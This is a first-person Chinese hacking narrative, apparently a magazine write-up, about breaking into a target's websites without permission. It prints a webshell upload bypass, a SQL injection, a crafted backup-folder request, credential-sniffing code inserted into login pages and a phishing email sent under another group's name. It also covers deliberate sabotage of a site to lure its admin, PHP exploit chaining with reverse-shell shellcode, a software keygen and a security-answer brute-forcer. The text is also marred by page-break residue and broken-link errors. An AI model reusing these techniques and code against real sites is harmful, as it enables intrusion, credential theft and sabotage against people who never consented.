木馬的美女圖片,但結果仍然是令人沮喪的,論壇設置了所有附件傳到另外一個文件服 務器上,而那個文件服務器是 windows2003,沒有類似的 bug,并且和目標不在一個 C 段。 可這個漏洞卻很誘人的,我還考慮到論壇顯示帖子是 html 文件類型的,如果能在顯示帖子 的 html 里寫入<?php phpinfo();?>倒也是可以利用的,只是<>總是被過濾為< >,主 站的 cms又禁止登陸,cms 后臺文件也無法找到,看來只能再換換別的思路了。   從二級域名入手          每個做網絡安全的應該都了解,在網絡上每個人享受各種服務,上論壇,聽音樂,網上 支付,購物等等。最重要的就是自己的密碼,而賬號大多都是公開的,只要我們擁有目標的 常用密碼,就可以嘗試他的其他網站的登錄驗證,因此我開始了從二級域名入手的打算,拿 下后至少可以得到他的常用密碼之一。 通過他本網站的鏈接和二級域名爆破查詢工具,再加上自己的分析,我得到了 target 比較主要的一個二級域名為:a.111.com,仍然是一個比較成熟的、沒有任何已知漏洞的cms 的博客程序,值得慶幸的是,這個二級域名所在的服務器倒有十幾個其他的網站,應該是虛 擬主機,操作系統是win2003,同時支持php和asp. 我首先瞄上了一個站是:www.aaa.com,很輕松的掃描出他后臺管理文件為: http://www.aaa.com/admin/admin_index.php 直接把url在瀏覽器瀏覽發現他沒有做 嚴密的驗證,后臺一部分功能是可以使用的,如圖6 并且后臺使用了FCKeditor,是最新版本,測試了這個編輯器的漏洞集合后無果,只能     7 把希望寄托在圖6 的上傳圖片那里是否有問題了。這次還算順利,我在vmware 的 winxp系#p#分頁標題#e# 統用 WSockExpert.exe 抓了一下上傳的包,在一句話 asp 木馬里添加下 gif89a 頭,再在包 的這里改為: Content-Disposition: form-data; name="article_img"; filename="C:\aa.asp .gif" 用nc提交后即得到名為120107005538_53.asp的上傳文件,也就拿到其webshell。如圖 7: 其實這里上傳的時候,web 防火墻也攔了好幾次,幾乎殺了我 95%的小馬,最后只能請 出獨門暗器才躲過這 bt 的防火墻。后來才知道該虛擬主機使用的組合是【星外+護衛神.入 侵防護專家】。    拿到 www.aaa.com的webshell后,自然是想跨目錄到a.111.com。而最新的星外+護衛神 的確很有效,刪除了wscript.shell、shellapplication等擴展,還不支持aspx,沒有任何 運行命令的可能。   調試 php 漏洞     我用phpinfo看了下www.aaa.com的web服務器的php版本是 5.2.9-2。版本不高,我印象 里php5.2.13以下的版本出過好幾個漏洞,其中【PHP hash_update_file() Already Freed Resource Access Vulnerability】是比較著名的。于是我放下該站的webshell,找到這個 漏洞公告和poc,準備調試一下這個漏洞,用它去執行命令,進而提升權限。 公告地址為: http://php-security.org/2010/05/01/mops-2010-001-php-hash_update_file-alrea dy-freed-resource-access-vulnerability/index.html 我在 vmware_winxp的 apache+php環境里,用 windbg附加進程httpd.exe,然后在瀏覽 器打開這個漏洞的poc,發生異常,如圖8: 由圖8可以看到發生問題的模塊是php5ts.dll,發生問題的函數是php_hash_register.     8 在這個函數偏移0x2bf 處發生了異常。 顯然 php5ts.dll 是 php 的核心解析器,php 所有的功能都包含在它里面,不論什么操 作系統運行php都少不了要加載它。從這里可以看出這個漏洞危害的范圍很廣,是跨平臺的。 至于漏洞發生的原因就不在這里調試敘述了。 現在看發生異常的位置是: 00a74fef ff5204 call dword ptr [edx+4] ds:0023:55555559=???????? Eip 為 0x00a74fef 的地方,而 poc 第一句代碼就是 define("OFFSET", pack("L",0x55555555));把這個地址裝入一個二進制串中。再看異常發生時的寄存器環境如 圖 8 中的 edx=0x55555555,后來再通過調試確定開始的第一句代碼的地址就是控制的 edx 寄存器。那么只要能在edx+4 指向的地址裝入精心構造的shellcode,就可以順利溢出了。 后來和 2yue 聊天時告訴我,他發現了一種把另一個 php 漏洞【PHP addcslashes() Interruption Information Leak Vulnerability】和這個漏洞結合起來利用的方法。后來 我也證實了這個結果。以下是 2yue的調試結果,我在這里和大家分享,希望他不介意。 “PHP addcslashes()信息泄露漏洞,他可以讀出內存空間中的信息,在讀出的信息中 , 從偏移 0x10 開始,保存了一個指針,而在該指針偏移0x20 開始保存我們控制的變量的值。”  這樣的話我們就可以用 PHP addcslashes()漏洞找到放置 shellcode 的地址,再找到某 個變量 A 的地址,在變量 A 的地方存放 shellcode 的地址,那么 call [edx+4]就可以執行 shellcode 了。把那兩個 poc 結合起來,最后那個 hexdump()函數改成我們自己的找到偏移 0x10指向的0x20 的地址的函數,好像很繞口。 其實是很簡單的一個功能,直接附上2yue寫的這個函數。    function hexdump($x)    {  $ret_long = ord($x[0x13]) * 0x1000000 + ord($x[0x12]) * 0x10000 + ord($x[0x11]) * 0x100 + ord($x[0x10]);  $ret_long = $ret_long + 0x20;   return $ret_long;     } 只是里面的細節還需要調一調:例如要生成純字母數字的shellcode,edx+4那個地方調 一下等等,然后就可以用 metasploit生成我們想要的純字母數字的shellcode了。 我在本機測試成功,如圖9,當然還是要感謝2yue。 在漏洞調試成功后的第2天,我準備用這個exp 提權時,用菜刀連上我的webshell,誰 知道卻返回404. 我把www.aaa.com#p#分頁標題#e# 輸入瀏覽器后,返回如下信息,如圖10: 從圖 10看到,那個昨天剛拿下的網站,今天域名就過期,我悲催的人生仍在延續,我能 說什么呢。   殺個回馬槍   我只能老老實實再殺回來,仔細分析虛擬主機上剩下的那幾個網站了。那個悲催的站被 關閉了之后剩下的不是discuz! X2 就是靜態html的站,再不就是很知名的較新版本的無已 知漏洞的cms了,就只有一個asp的站,地址為:http://www.bbb.com。也許這個站是唯一的 突破口了,用后臺掃描器很容易掃到后臺是http://www.bbb.com/manage/ 如圖11: 從圖 11 很清晰的得到這個網站程序是 3hooCMS V3 SP2,我搜了一下,沒有找到這個版 本的漏洞,較低的版本倒是有一個xss 漏洞,并且也沒有這個版本CMS的公開下載,我懷疑 目標是商業版。我只找到3hooCMS_V2_SP2的下載。 下載完后我在vmware_win2003下搭了環境,開始分析其源代碼。 經過一段時間的分析,我發現 Search.Asp這個文件存在 sql 注入漏洞。 代碼第 9 行到 12 行 Dim TplFileUrl,TplStr,Sql,Rs,rCid,Cid       SoKey=trim(request("sokey"))      page=request.QueryString("page") 第 10行SoKey變量沒有經過任何過濾傳了進來。 第 41到47行      if SoKey="" then         csql=""         filename="Search.Asp"      else          filename="Search.Asp?sokey="&SoKey     10      end if     sql="select * from [info] where "&LanguageSet&"Name like'%"&SoKey&"%' order by id desc;" SoKey被當做搜索型變量傳入sql 語句中。 因此這里存在是一個搜索型的注入漏洞。 由于是已知的cms,其表名和字段名都不用猜了: 管理員表名:ScmsAdmin 用戶名字段:username 密碼字段:password . 選擇好關鍵字直接在nbsi工具里跑吧。 很遺憾的是沒有跑出任何結果,于是我在目標網站手工在搜索輸入框里測試。 當輸入 33%' and 1=1 and '%'='時查詢出了一些結果。 而輸入 33%' and 1=2 and '%'='時又沒有任何結果。完全沒有問題啊,sql 語句肯定執行 了,注入百分之百存在,但為什么就是跑不出來呢。我突然想到,也許新版本第 10 行代碼 應該是這么寫的吧 SoKey=trim(request.form("sokey")) 這是post提交方式哦,我馬上變換成了post的掃描方式,終于得出了。 得到加密的密碼【fead0df1fe60103eaba454dd0a7e0842】后拿到 cmd5 解密,于是我悲 催的運氣再次降臨,掏錢都無法解密。看來這年頭不設置個 10 位以上字母+數字+特殊字符 的密碼都不好意思和別人打招呼啊。   不成功的社工   Md5 密碼破不出來其實是常有的事,不過也說明國內上網用戶的安全意識也在一步步的 提高。我考慮到既然他網站有這個注入漏洞,那么管理員即便改了密碼,我仍然能通過SQL 注入漏洞得到hash,如果他能改一個cmd5 能破出來的簡單的密碼不就有希望了嗎?于是我 借用 2011年底的網絡安全密碼泄露門事件,給管理員發了一封email。如圖13: 很不好意思,這里我借用了 90sec.org 的名義,因為我覺得 90sec 中有很多小孩的技術 水平還是蠻高的,并且喜歡免費給某些網站提交漏洞。 Email發出去2天后,再次注入得出密碼的hash,發現他沒有修改。我也感覺此路不通,  即便他修改了,很有可能密碼還是很bt復雜的破不出來啊。     11 后來又想到去社工主網站 www.111.com的管理員,詢問他為什么主網站不能注冊普通用 戶,也不能登錄,是不是網站程序壞掉了。想借他們修復普通用戶注冊功能后,上傳一個含 有php木馬的圖片,再利用iis7.5的解析漏洞得到shell。但得到的答復是,他們就是專門禁#p#分頁標題#e# 止普通用戶注冊和登陸的。 罷了,我社工真的不擅長,不太會與人交互,還是靠自己吧。   V5的迂回戰術   考慮到好不容易拿到 http://www.bbb.com的hash,不能這么輕易放過這個站啊。于是 想到看這個管理員有沒有其他的站,通過拿下他自己的另外的站然后再得到其密碼也是一個 不錯的選擇。這就是所謂的迂回戰術吧,我不從正面進攻了,我從你有弱點的地方進攻還不 行嘛? 于是我根據他網站提供的信息,再加上whois 查詢、域名查詢、谷歌、百度,終于發現 這個管理員在其他虛擬機還存在三個類似的站分別是: http://www.bbb1.com http://www.bbb2.com http://www.bbb3.com 虛擬主機操作系統同樣是windows2003.令人興奮的是這三個站與 www.bbb.com使用的是 同一套cms,都是 3hooCMS V3 SP2. 利用我前面發現的 sql 注入漏洞很容易得到 bbb1、bbb2 兩個站的后臺管理員的密碼 hash都為【fead0df1fe60103eaba454dd0a7e0842】,和bbb.com是一樣無法破解的。 第五次悲催的運氣令我暫時放棄了一段時間。 又過了一天,我懷著百分之一的希望把www.bbb3.com也掃了一遍,但驚奇的是密碼hash 和其他三個都不一樣,立刻拿到cmd5 去破解,但需要花一毛錢才能破解。雖然國內企業不 重視安全人才,把搞網絡安全的薪水壓的很低,但一毛錢我還是付的起的。 就這樣我拿到了www.bbb3.com管理員的密碼。這下我感到形式一片大好,思路是這樣:  1.通過進入bbb3.com的后臺,得到一個webshell。 2.再從 webshell里通過提權跨目錄到bbb2.com。 3.改寫 bbb2.com的后臺登陸后代碼,嗅探其明文密碼。 4.同步進行ftp密碼的破解,順便去嘗試bbb.com的ftp。 至此我感覺這個迂回的戰術還算威武吧。   從再讀 cms 源代碼到后臺 getshell   進入 www.bbb3.com后臺后,嘗試了上傳的地方,又看了源代碼,發現沒什么漏洞,他 嚴格檢測了后綴并以時間格式強制改了上傳后的文件名。應該是較成熟的上傳代碼。而網站 設置那塊是寫入數據庫的。唯一可能出問題的地方也就是數據庫備份這里了。如圖15: 從圖 15 得知數據庫的路徑和后綴,不過看著誘人的asa 后綴,卻做好了防下載處理, 我利用 asp小馬代碼入庫的方式來測試,發現#Data23%base#.asa是無法執行asp 的。 只剩下備份這里容易出問題了。 大家肯定是這樣想的,上傳一個帶一句話 asp 木馬的圖片,然后備份這個圖片為 asp 不就完事了嗎? 但悲催的是有以下幾個問題需要解決: 1.當前數據庫路徑輸入框這里和備份數據庫名稱輸入框這里都是只讀的,無法更改。 2.即便備份為a.asp;a.jpg也不可執行(我后來才知道,可能是防火墻攔截的原因)。    第一個問題好處理,客戶端的一切防御手段都是浮云。一個readonly能阻擋我這個久經 沙場的老將嗎?不論是把其 htm 存下來,把 action 完整路徑附上提交,還是用 firefox 的 插件,再或是用國外的神器burpsuite,都能輕松繞過。 至于第二個問題,我發現肯定備份出了 a.asp;a.jpg 類型的文件,可是用瀏覽器訪問卻 總是出現惡心的404錯誤。 我只能再看其cms 源代碼,看他備份這里到底是如何處理的。 看了一會兒后,如愿以償的發現了問題,漏洞文件為Admin_DataBackup.asp 代碼65—83 行代碼如下: sub backupdata()  Dbpath=request.form("Dbpath")  Dbpath=server.mappath(Dbpath)  bkfolder=request.form("bkfolder")  bkdbname=request.form("bkdbname")  Set Fso=server.createobject("scripting.filesystemobject")  if fso.fileexists(dbpath) then  72.If CheckDir(bkfolder) = True Then  73.fso.copyfile dbpath,bkfolder& "\"& bkdbname & ".mdb" 74.else  75.MakeNewsDir bkfolder  76.fso.copyfile dbpath,bkfolder& "\"& bkdbname & ".mdb" end if  response.write "<center>備份數據庫成功,備份的數據庫路徑為 " & bkfolder &#p#分頁標題#e# "\" & bkdbname & ".mdb</center>"  response.write "<center><a href='Databackup\" & bkdbname & ".mdb' a>下載本次 備份數據庫到本地</a></center>" Else response.write "找不到您所需要備份的文件。" End if end sub 第 68 行 bkfolder=request.form("bkfolder") 沒有對目錄名做過濾。 而 request.form("bkfolder")是從第 37 行這句代碼傳過來的。 <td  height="22"><input  type="hidden"  size=50  name=bkfolder value=Databackup ></td> 說明默認情況下 bkfolder= Databackup 這個目錄。 第 72 到 76 行,是說檢測 bkfolder 這個目錄是否存在,如果不存在就調用 MakeNewsDir bkfolder 這個函數。 再看 98—103 行代碼如下: Function MakeNewsDir(foldername) Set fso1 = CreateObject("Scripting.FileSystemObject") Set f = fso1.CreateFolder(foldername) MakeNewsDir = True Set fso1 = nothing End Function 直接調用 fso 創建一個沒有過濾的參數的文件夾。 這時大家可能都想到了,那么如果我們上傳的時候抓包,把默認的文件夾 Databackup 改為 kyo.asp,那不就創建了一個 kyo.asp 的文件夾嗎?這樣配合 iis6.0 的漏洞將可以成 功執行我的美女圖片 asp 木馬。 實戰當中也是這樣的,把抓的包改為這樣的形式,再用 nc 提交就 KO 了。 POST /manage/Admin_DataBackup.asp?action=Backup HTTP/1.1 Accept:  image/gif,  image/x-xbitmap,  image/jpeg,  image/pjpeg, application/x-shockwave-flash, application/msword, application/vnd.ms-excel, application/vnd.ms-powerpoint, */* Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: www.bbb3.com Content-Length: 77 Connection: Keep-Alive Cache-Control: no-cache Cookie:  ASPSESSIONIDSATTCRQC=LFGDIANCDLPBPGNJNCMPKEIM; Scms%5FVerifyCode=9109 DBpath=..%2FUpLoadFile%2F20120112012046769.jpg&bkfolder=kyo.asp&bkDBname=da ta   那么備份成功后,菜刀提交 url 路徑類似于這樣: http://www.bbb3.com/manage/kyo.asp/data.mdb 至此也算拿下了一個 webshell,萬里長征又進了一步。 asp 登陸口嗅探變態的密碼 幸運的是 www.bbb3.com所在的虛擬主機沒有做什么安全措施,傳上去一個aspx的木馬就 可以跨到 www.bbb1.com和 www.bbb2.com的目錄里去了,畢竟aspx默認是權限稍大的user權 限。在嘗試ftp密碼無果后,下一步就是在bbb1 和bbb2 的后臺登陸口頁面寫嗅探代碼了。 我在 Admin_Send.asp 頁面第 8 行開始添加以下代碼: thename=replace(trim(request.form("username")),"'","") thepass=replace(trim(Request.form("password")),"'","") SaveFile="page.gif" GetPostStr=thename&"|"&thepass set F=server.CreateObject("scripting.filesystemobject") set I=F.OpenTextFile(server.mappath(SaveFile),8,True,0) I.WriteLine(GetPostStr) I.close Set F=nothing 只要管理員登陸后臺,密碼就會被記錄在 page.gif 中,剩下的就只有等了。 但我不是一個忍者,等了一天無果后,我就在他數據庫網站配置字段做了點手腳 致使訪問他網站首頁是空白,但是后臺還是可以正常登陸的。果然這家伙不到半天就急了, 當天晚上的時候我就順利的嗅探到了他的變態的密碼。可以看到,密碼果然很強悍,10 位以上,字母數字再加上+-號,讓cmd5再添 50 公斤的硬盤也破不了啊。 拿到這個關鍵性的密碼,再用前面研究出的 3hoocms 后臺getshell漏洞,輕車熟路的 拿下 www.bbb.com的webshell,也就是a.111.com所在的虛擬主機。 接下來的任務就是提權跨目錄到 a.111.com 了。 突破星外+護衛神 進行到這里,在星外虛擬主機+護衛神.入侵防護專家的防御之下,確實讓人望而卻步。好 在php版本比較低,我終于用上了那個調試好的php溢出漏洞。在metasploit生成一個反彈端 口的shellcode添加到那個exp.php代碼中后。我在本機執行nc –vvlp 8181,然后把exp.php 傳到 www.bbb.com根目錄。當我在瀏覽器打開 #p#分頁標題#e#http://www.bbb.com/exp.php時,立刻出現了如圖 17 的錯誤: 從圖 17 返回的內容來看,應該是沒有成功。后來我在 vmware_win2003 設置了和目標操 作系統+php 版本+php 執行方式(ISAPI)一模一樣的環境,我順利反彈回來一個 nt network 權限的 shell。這里我考慮應該是w3wp.exe 執行的 shellcode ,所以繼承w3wp的 nt network 權限。但不論怎樣也是個交互式可執行命令的 shell 啊。我第 6 次悲催的運氣,促使我終于 找到了答案,原來目標 win2003 打開了 dep(堆棧數據執行保護)。 我仍然沒有氣餒,雖然上次域名過期那個站的目錄沒有執行aspx的權限,那么這 個 www.bbb.com的目錄我還沒試呢。萬一支持aspx不就又多一種執行命令的方法嗎?即這個 方法:   System.Diagnostics.Process.Start(@"calc.exe");) 這次我果然沒有再次苦命,bbb.com 是支持 aspx 的,只是有兩個問題需要解決。 1.護衛神幾乎殺光了所有的 aspx 木馬,需要突破。 2.星外虛擬主機的可寫可執行目錄的尋找是個大麻煩。需要尋覓一個,上傳 cmd.exe,來支 持 aspx 執行命令,因為大家都知道 win2003 默認情況,c:\windows\system32\cmd.exe 只 對 administrator 有權限讀寫。 第一個問題比較好解決,我記得我寫過一篇在黑客手冊發表的《淺談在 webshell 下執 行命令》這一篇文,里面有我提供的三種 aspx 執行命令的小馬。使用任何一個,改變一下 字段名,除去敏感字符串,再把函數位置條換一下。也就能過了,最多也就是再加密一下而 已。這個難不倒我,畢竟混在看雪論壇研究加密解密算法也有幾年光景。 至于第二個問題,我倒沒有什么好方法,只能寫個遍歷腳本,測試可讀的每一個目錄是否有 漏網的可寫目錄存在了。這個網上有很多先人已經寫出過這樣的方法了,用拿來主義改一改即可。 終于被我找到了星外的一個可寫目錄是: C:\Documents and Settings\All Users\Application Data\Microsoft\Media Index 剩下的事情就簡單了,我也懶得用 pr 大殺器,也用不著最新 windows 全版本的 0day 提權 exp 這個牛刀了。直接傳一個 cscript.exe+iisgetpass.vbs 讀出所有網站用戶的配置信息和密碼即可。iisgetpass.vbs 代碼大家都有,我就不在這里 占篇幅了。 最終結果如圖 18:   一般這樣的結構的網站,iis 賬戶的密碼就是 ftp 的密碼。就這樣我得到了 a.111.com 的 ftp 賬戶和密碼,并成功把其拿下。 由于主目標 www.aaa.com只開 80,也無法用這個ftp密碼去嘗試它,并且再用這個密碼嘗試其 論壇管理員的密碼又無結果,只能繼續嗅探了。 php 嗅探目標管理員密碼 拿下a.111.com后,還是有一些驚喜的。我看到了 錯誤!超鏈接引用無效。 錯誤!超鏈接引用無效。中,并且我經過轉換,其管理員的discuz! Hash密碼與a.111.com的md5 hash 密碼是一樣的。 其實這個對比很簡單。 假設 a.111.com 中管理員的密碼 hash 為:228ab4dd53787ce32a88ade0eeea8a51 早期 錯誤!超鏈接引用無效。理員密碼hash為: 8946fa73f2b44b64da2ebab1aaa57ec6:42ee90 那么測試 md5(228ab4dd53787ce32a88ade0eeea8a5142ee90)如果等于 8946fa73f2b44b64da2ebab1aaa57ec6,則說明兩個密碼的明文是一樣的。 因為 discuz 加密的方式是:md5(md5($pass).$salt),我恰恰證實了這一點。 由于密碼的復雜度不是現代的人類所能暴力破解的,我于是又一次選擇了 php 登陸口密碼嗅 探。 于此同時還在繼續著另一個工作,就是查找那個帖子所在版塊的斑竹的用戶名,拿到這 些任何一個斑竹的密碼不也一樣能刪帖子達到目的嗎?但第 7 次悲催的運氣告訴我,你省省 吧,人家那個版塊的斑竹就是管理員一個人。我再次無語。還是老老實實的寫代碼嗅探吧。 我找到 a.111.com 的前臺和后臺登陸口添加了下面的代碼。 $username1 = $this->Username; $password1 = $this->Password; $file="././images/ bg1.gif"; $handle = @fopen("././images/th_bg1.gif", "a"); $recontent = fread($handle,filesize($file)); $content= $username1."----".$password1."----date is:".date("Y-m-d#p#分頁標題#e# H:i:s")."\r\n"; $result=$recontent."\r\n".$content; @fwrite($handle,$result); 這次我沒有著急,因為我發現這個管理員很勤快,幾乎天天更新博客,于是第二天順利 記錄到其密碼。 discuz!提示問題的阻礙 在拿到管理員變態密碼迫不及待的登陸之后,第 8 次悲催的運氣也同時降臨了。他需要 提示問題的答案才能登陸。 鬼才知道他母親的名字,他爺爺的名字,他父親出生的城市,他老師的名字…… 再說他也不一定就老老實實寫真實答案啊。 在以前,我遇到此類情況都是直接放棄,但是這次不同,前面一個多禮拜承載了我太多   的磨難和腦細胞,我無法說服自己放棄。不是有一個早期的 bbs 的用戶數據庫嘛?我于是找 到了密碼提示問題答案的加密字段為:2afd4591.僅僅是一個 8 位的串,到底是什么加密算 法呢。 我再次擔當了閱讀源代碼的苦力差事。引用 2yue 的一句話,把我累得跟駱駝一樣,終于 得到如下結果。 Discuz 提示問題有 7 個,按數字序號是 1,2,3,4,5,6,7。設為變量$i 明文答案設為變 量$pass.那么 2afd4591=substr(md5($pass.md5($id)),16,8)這樣的話,提示問題答案是可 以暴力跑的啊,但如果他的答案是漢字或者很變態的長度的明文,也是很難爆出來的。我發 現他最后的 hash 串僅僅是 8 位,那么有很大的幾率是可以碰撞成功的。 于是我認為:肯定存在多個明文,hash 與 2afd4591 一樣,但明文不一樣,我十分肯定 我的分析。下面就需要先制作一個大字典,然后開始寫程序,碰撞吧。 OllyDBG 調試 superdic 并制作注冊機 我可沒有那么多耐性去做重復的工作,我認為肯定有很多人寫過字典生成工具,下載一 個用就是了。于是我下載到這個小工具 superdic,還挺好用的。如果要使用完整功能,需要花注冊費 15 元,在國內企業壓榨我們搞網絡安全 的薪水的背景下,還讓我掏出這 15 塊錢,貌似不是太容易的。 自己操刀 OllyDBG 調試一下,看這個作者用什么加密算法保護自己的程序吧。其實有時候 調試算法,破解作者的加密思路也是一個不錯的游戲,但是這次我沒有那么多精力了,如果 它能在兩個小時內阻擋我,那我就從我綿薄的存款中給作者奉獻一回吧。 先用 peid 加載 superdic.exe 如圖 20  從圖 20可以看出,軟件是 vc++6.0寫的,且沒有加殼。看到這些我很遐意,看來省了 我不少事。再用ida加載函數庫符號并導入OllyDBG后,就可以開始分析了。 F9 運行后我首先用注冊碼等于 123456789,點注冊,彈出一個對話框,提示“請重啟 本程序,如果您輸入的注冊密碼正確,將能使用本軟件的全部功能,并可享受后續版本的免 費升級。”那么一般來說,重啟驗證要么是keyfile,要么是寫入注冊表。經過下斷點測試, 我發現該程序使用的是注冊表驗證。 這樣一來,下斷就有思路了。 用 OllyDBG加載 superdic.exe后,在命令行下斷bp RegOpenKeyExA,然后按f9讓其運 行,眼睛同時觀察著右邊的堆棧窗口,在第6次f9之后,斷在了這里如圖21:  從堆棧可以看到該軟件注冊表的位置是:Software\\EUsoft\\superdic用 regedit打 開看一下這個位置如圖22: 圖 22 中看到了 superdic 把用戶名和注冊碼都保存在了 Software\\EUsoft\\superdic 這個位置。 這時在 0x77da7852 這個位置,按 f2 取消斷點,然后 alt+f9 即可回到應用程序領空。這樣 一路 f8 可以來到這里   /*403AEA*/    LEA ESI,DWORD PTR DS:[EBX+6FC] /*403AF0*/    PUSH ESI /*403AF1*/    CALL superdic.004027A0 /*403AF6*/    ADD ESP,0C /*403AF9*/    MOV ECX,EBX /*403AFB*/    PUSH ESI /*403AFC*/    PUSH 4A0 /*403B01*/    CALL superdic.00430B3C /*403B06*/    MOV EDX,DWORD PTR DS:[EBX+218] /*403B0C*/    LEA ESI,DWORD PTR DS:[EBX+218] /*403B12*/    PUSH 0FF /*403B17*/    MOV ECX,ESI 可以在 0x403af0 處設置一個斷點,接著 f7 進入 CALL superdic.004027A0,大致一看 應該是申請號的生成方法,代碼如下:#p#分頁標題#e#   004027A0     SUB ESP,0C 004027A3     PUSH ESI 004027A4    PUSH 0C 004027A6     CALL superdic.004319E7 004027AB    PUSH 0A 004027AD     MOV ESI,EAX 004027AF     CALL superdic.004319E7 004027B4     ADD ESP,8 004027B7     LEA ECX,DWORD PTR SS:[ESP+C] 004027BB     LEA EDX,DWORD PTR SS:[ESP+4] 004027BF     PUSH 0A                               ; /pFileSystemNameSize = 0000000A 004027C1    PUSH EAX                              ; |pFileSystemNameBuffer 004027C2    LEA EAX,DWORD PTR SS:[ESP+10]              ; | 004027C6     PUSH EAX                               ; |pFileSystemFlags 004027C7     PUSH ECX                               ; |pMaxFilenameLength 004027C8     PUSH EDX                               ; |pVolumeSerialNumber 004027C9     PUSH 0C                                ; |MaxVolumeNameSize = C (12.) 004027CB     PUSH ESI                               ; |VolumeNameBuffer 004027CC    PUSH superdic.00446148                   ; |RootPathName = "c:\" 004027D1    CALL DWORD PTR DS:[<&KERNEL32.GetVolumeI>; \GetVolumeInformationA 004027D7     MOV EAX,DWORD PTR SS:[ESP+4] 004027DB     MOV ESI,DWORD PTR SS:[ESP+14] 004027DF     PUSH EAX 004027E0     PUSH superdic.00446144                    ;   ASCII "%x" 004027E5     PUSH ESI 004027E6     CALL <superdic._sprintf>   這段代碼大概是使用 GetVolumeInformationA 函數再加上其他一系列操作生成申請號 的過程,因為是逆注冊算法,這一塊我們不關心,可以直接 f8 過去看結果即可,而事實上 也確實生成一個子串是 24578843,與圖 19 中的申請號相一致。 我接著往下走,前面不關鍵的地方就不跟了,一直走到這里:   /*403D48*/  LEA EAX,DWORD PTR DS:[EBX+6FC] /*403D4E*/  PUSH ECX /*403D4F*/  PUSH EAX /*403D50*/  CALL superdic.004034E0 可以看到把申請號壓入了堆棧,而函數 CALL superdic.004034E0 經判斷是對申請號做了一 次加密過程。從堆棧處看到加密后密文是:   0012EF6C     0012EFA0    ASCII "BqwITTcm8kG5lcEk" 接著再 f8 配合 f7 來慢慢走。 /*403D5B*/  PUSH ESI /*403D5C*/  CALL superdic.00403630 403d5b 的位置是把注冊碼壓入堆棧,隨即利用 CALL superdic.00403630 做了一次加密過程。 過了這個 call 后把我預設的 123456789 加密成了 l6345q789.看下面堆棧數據。 0012EF64    0012FCA0  ASCII "l6345q789" 隨后又經過一些對算法無用的代碼后來到這里:   /*403EBD*/    MOV DL,BYTE PTR DS:[ESI] /*403EBF*/    MOV CL,BYTE PTR DS:[EDI] /*403EC1*/    MOV AL,DL /*403EC3*/    CMP DL,CL /*403EC5*/    JNZ SHORT superdic.00403EE5 /*403EC7*/    TEST AL,AL /*403EC9*/    JE SHORT superdic.00403EE1 /*403ECB*/    MOV CL,BYTE PTR DS:[ESI+1] /*403ECE*/    MOV DL,BYTE PTR DS:[EDI+1] /*403ED1*/    MOV AL,CL#p#分頁標題#e# /*403ED3*/    CMP CL,DL /*403ED5*/    JNZ SHORT superdic.00403EE5 /*403ED7*/    ADD ESI,2 /*403EDA*/    ADD EDI,2 /*403EDD*/    TEST AL,AL /*403EDF*/    JNZ SHORT superdic.00403EBD /*403EE1*/    XOR EAX,EAX /*403EE3*/    JMP SHORT superdic.00403EEA /*403EE5*/    SBB EAX,EAX /*403EE7*/    SBB EAX,-1 /*403EEA*/    XOR EDX,EDX /*403EEC*/    PUSH 476 /*403EF1*/    TEST EAX,EAX /*403EF3*/    SETE DL /*403EF6*/    MOV ECX,EBX /*403EF8*/    MOV DWORD PTR DS:[EBX+90],EDX   這段代碼即是:BqwITTcm8kG5lcEk 與 l6345q789 的對比過程,如果相等就注冊成功。 作者的大題思路就是這樣吧,如果爆破的話只需要把 403EF1 處改為下面的代碼即可。 /*403EF1*/    MOV DL,1 但分析到這里,爆破已經滿足不了我的欲望了,再說離我的兩個小 時還差的遠呢。接著看看作者算法的思路吧。 既然我分析的思路已經清晰,我在這里再稍作整理:、設 CALL superdic.004034E0 函數=f1() CALL superdic.00403630 函數=f2() 如果 f1(申請號)=f2(注冊碼)     那么就注冊成功。 看來 f2()函數是關鍵啊,需要寫出它的逆函數,f7 進去一看,貌似還很長,如圖 23: 僅僅圖 23 的一頁,還顯示不完,我再次像駱駝一樣的 f7 走來走去,再加上 ida 的 f5, 終于對段代碼有了初步的了解。 最終我使用了一種巧妙的辦法寫出了這段代碼的逆函數如下。 有點基礎的朋友自己看代碼吧。我也不好在這里占用太大篇幅去深析這個算法的逆向過程。   void DicDecode(char *str) { char end[64]={0}; if (strlen(str) !=16) *str=0; for(int i=0,j=0;i<16,j<64;i++,j=j+4) { if(str[i]<='9' && str[i]>='0') { end[j]=str[i]-22; goto LABEL_a; } if(str[j]<='z' && str[i]>='a') { end[j]=str[i]-61; goto LABEL_a; } if(str[i]<='Z' && str[i]>='A') {       LABEL_a: ; } end[j]=str[i]-65; } for(i=0;i<64;i=i+4) { if(end[i]<=i) { end[i]=i-end[i]; } } int v10[16]; for(int k=0,n=0;k<16,n<64;k++,n=n+4) { v10[k]=(int)end[n]; }   for(i=0;i<16;i++) { if(v10[i] <= 25 && v10[i]>=0) { str[i]=v10[i]+ 65; goto LABEL_bb; } if(v10[i] <= 35 && v10[i]>=26) { str[i]=v10[i]+ 22; goto LABEL_bb; } if(v10[i] < 61 && v10[i]>=36) {   } LABEL_bb: ; str[i]=v10[i]+ 61; } char sigeliu[5]={0x36,0x36,0x36,0x36,0}; strcat(str,sigeliu); }   總之最后累的跟駱駝似的終于還是湊出了這個半成品的注冊機。如圖 24: 該注冊機的用法是在 00403D5B 處,看堆棧得到 f1(申請號)= BqwITTcm8kG5lcEk. 把這個值寫入密文框內,點擊解密就得到其注冊碼。這時看了看表大概用了 110 分鐘,好險, 差點損失 15 塊錢。     discuz!提示問題也是浮云,碰撞 V5   字典生成器破解完后,我開始醞釀寫這個 discuz! 提示問題的碰撞程序。由于 php 的易 用性,我選擇用它來寫。說白了也就是個窮舉的過程。代碼如下:   <? /*discuz 提示問題答案暴力破解程序。by kyo327*/ error_reporting(0); if ($argc<2) { print_r(' ------------------------------------------------------------------ Usage: php '.$argv[0].' hash Example: php '.$argv[0].' 91de8255 ------------------------------------------------------------------ '); die; } $fd=fopen("pass.dic",r); if(!$fd) { echo "error:打開字典文件錯誤"         ; die; }#p#分頁標題#e# while($buf=fgets($fd)) { for($i=1;$i<8;$i++) { $tmp=substr(md5(trim($buf).md5($i)),16,8); //echo $tmp; $conn = strcmp($tmp,$argv[1]); if($conn==0) { echo "密碼破解成功。\n"."提示問題答案為:".$buf."提示的問題 為:".theask((int)$i)."\n"; die; } } } if($conn!=0) { echo "沒有正確的密碼"; } fclose($fd); function theask($var){ if($var==1) { return "母親的名字"; } 